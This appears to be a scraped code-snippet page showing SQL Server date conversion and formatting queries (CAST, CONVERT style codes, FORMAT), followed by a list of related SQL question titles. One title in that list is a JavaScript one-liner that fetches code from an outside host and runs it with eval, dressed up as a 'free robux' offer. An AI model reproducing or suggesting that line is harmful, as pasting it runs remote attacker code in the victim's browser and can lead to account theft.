SQL Date Format

Sql server convert string to date

select Cast( '2021-09-22' as date ) as castedDate;
select convert(date,'20210922') as convertedDate;

SQL Date Format

SELECT FORMAT(dbo.column, 'M/dd/yyyy')

Date format in sql

SELECT CONVERT(VARCHAR, GETDATE(),101) AS DATE
SELECT CONVERT(VARCHAR, GETDATE(),102) AS DATE
SELECT CONVERT(VARCHAR, GETDATE(),103) AS DATE
SELECT CONVERT(VARCHAR, GETDATE(),104) AS DATE
SELECT CONVERT(VARCHAR, GETDATE(),105) AS DATE
SELECT CONVERT(VARCHAR, GETDATE(),106) AS DATE

SELECT DATE = FORMAT(GETDATE(), 'dd-MM-yyyy')

Sql server obtener fecha en formato dd/mm/yyyy

convert( datetime, fecha, 103 )

Source: social.msdn.microsoft.com

Similar codes

0 vote344 views1 answer
Mysql readable output
SQL
1 vote305 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
1 vote348 views1 answer
Size of all tables in a schema oracle
SQL
36 votes349 views3 answers
Finding duplicate column values in table with sql
SQL
1 vote347 views1 answer
Oracle grant select on schema
SQL
1 vote332 views1 answer
Host 127.0 0.1 is not allowed to connect to this mysql server
SQL
1 vote334 views1 answer
Mysql copy table1 to table2
SQL
1 vote351 views1 answer
Hexadec to sql REDSHIFT
SQL
0 vote376 views1 answer
Reindex mssql table
SQL
19 votes342 views5 answers
Mysql between date range
SQL